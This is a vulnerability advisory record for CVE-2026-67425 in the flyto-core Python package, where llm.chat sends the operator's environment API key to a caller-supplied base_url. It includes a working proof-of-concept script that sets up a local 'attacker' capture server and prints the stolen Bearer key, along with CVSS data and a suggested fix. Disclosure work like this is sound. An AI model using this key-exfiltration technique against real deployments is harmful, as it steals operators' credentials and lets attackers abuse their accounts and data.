{"id":"CVE-2026-67425","aliases":["GHSA-qq9q-xgm3-xv9g","PYSEC-2026-3573"],"url":"https://o3.security/vulnerability/CVE-2026-67425","summary":"Flyto2 Core: LLM/API keys leak to an attacker-controlled base_url","details":"## Summary\n\n`llm.chat` reads the operator's provider key from the environment (`OPENAI_API_KEY`, `ANTHROPIC_API_KEY`, ...) and sends it in the `Authorization: Bearer` header to `base_url`, a parameter the caller controls. `base_url` is only checked against the SSRF guard, and the guard allows any public host, so pointing `base_url` at an attacker's server hands them the operator's key. flyto-core's own bounty scale rates \"environment access exposing secrets (e.g. `ANTHROPIC_API_KEY`)\" as High.\n\n## Affected code\n\n`src/core/modules/atomic/llm/chat.py` (`_call_openai`):\n\n```python\nbase_url = params.get('base_url')            # caller-controlled\nif base_url:\n    validate_url_with_env_config(base_url)    # SSRF check only; a public attacker host passes\nif not api_key:\n    api_key = os.getenv('OPENAI_API_KEY')     # operator's key\n...\nurl = (base_url or \"https://api.openai.com/v1\").rstrip('/') + \"/chat/completions\"\nheaders = {\"Authorization\": f\"Bearer {api_key}\"}\nawait client.post(url, headers=headers, json=payload)   # sent to base_url\n```\n\nThe same wiring (env key plus caller endpoint) exists in `ai.model` (which does not even SSRF-check `base_url`), `llm.agent`, and `vector.connector` (`QDRANT_API_KEY` with a caller `url`). The SSRF guard is the wrong control here: it stops private targets but does nothing about the key being sent to an attacker's public host.\n\n## Reproduction\n\nSave as `keyexfil_poc.py`, run with `PYTHONPATH=src/src python keyexfil_poc.py`. It sets an operator key in the environment and points `base_url` at a local capture server.\n\n```python\n#!/usr/bin/env python3\nimport asyncio\nimport os\nimport threading\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\nos.environ[\"OPENAI_API_KEY\"] = \"sk-OPERATOR-SECRET-doNotLeak-9f8e7d6c5b4a\"\nos.environ[\"FLYTO_ALLOWED_HOSTS\"] = \"localhost\"   # stand-in for the attacker's public host\nCAPTURED = {}\n\nclass Attacker(BaseHTTPRequestHandler):\n    def do_POST(self):\n        CAPTURED[\"auth\"] = self.headers.get(\"Authorization\")\n        ln = int(self.headers.get(\"Content-Length\", 0)); self.rfile.read(ln)\n        b = b'{\"choices\":[{\"message\":{\"content\":\"pwned\"},\"finish_reason\":\"stop\"}],\"usage\":{\"total_tokens\":1}}'\n        self.send_response(200); self.send_header(\"Content-Type\", \"application/json\")\n        self.send_header(\"Content-Length\", str(len(b))); self.end_headers(); self.wfile.write(b)\n    def log_message(self, *a): pass\n\nasync def main():\n    from core.modules.atomic import register_all\n    from core.modules.registry import ModuleRegistry\n    register_all()\n    threading.Thread(target=HTTPServer((\"127.0.0.1\", 8080), Attacker).serve_forever, daemon=True).start()\n    res = await ModuleRegistry.execute(\"llm.chat\", params={\n        \"prompt\": \"hi\", \"provider\": \"openai\", \"base_url\": \"http://localhost:8080\",\n    }, context={})\n    print(\"module ok:\", res.get(\"ok\"))\n    print(\"Authorization received by attacker:\", CAPTURED.get(\"auth\"))\n\nif __name__ == \"__main__\":\n    asyncio.run(main())\n```\n\nOutput:\n\n```\nmodule ok: True\nAuthorization received by attacker: Bearer sk-OPERATOR-SECRET-doNotLeak-9f8e7d6c5b4a\n```\n\nConfirmed against the running API as well: calling `llm.chat` with `base_url=https://example.com` was not blocked by the SSRF guard, so the request egressed to the public host with the operator key attached.\n\n## Impact\n\nTheft of the operator's cloud LLM / vector-DB keys, which lets the attacker bill and abuse those accounts and reach data available to the key. The caller only needs to influence `base_url`, which is reachable through the MCP agent surface or the hosted API.\n\n## Suggested fix\n\nOnly use the environment-derived key with the provider's official endpoint. If the caller supplies a custom `base_url`, require them to supply the `api_key` explicitly too, or check `base_url` against an allowlist of trusted endpoints — never auto-attach the operator's secret to an arbitrary host. Apply the same to `ai.model`, `llm.agent` and `vector.connector`, and add SSRF validation to `ai.model`'s `base_url`.","published":"2026-07-29T18:35:01.573Z","modified":"2026-10-28T02:30:30.186685618Z","cvss":{"score":8.6,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N"},"epss":{"score":0.0032,"percentile":0.2497,"asOf":"2026-09-16"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"PyPI","name":"flyto-core","fixedVersion":"2.26.7"}],"fix":{"url":"https://github.com/flytohub/flyto-core/commit/d5f89d71303e3c1e6418d347c5c55fcd173cc8cc","label":"flytohub/flyto-core@d5f89d7"},"references":[{"type":"WEB","url":"https://github.com/flytohub/flyto-core/releases/tag/v2.26.6"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/67xxx/CVE-2026-67425.json"},{"type":"ADVISORY","url":"https://github.com/flytohub/flyto-core/security/advisories/GHSA-qq9q-xgm3-xv9g"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-67425"},{"type":"FIX","url":"https://github.com/flytohub/flyto-core/commit/d5f89d71303e3c1e6418d347c5c55fcd173cc8cc"},{"type":"PACKAGE","url":"https://github.com/flytohub/flyto-core"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-28T02:30:30.186685618Z"}}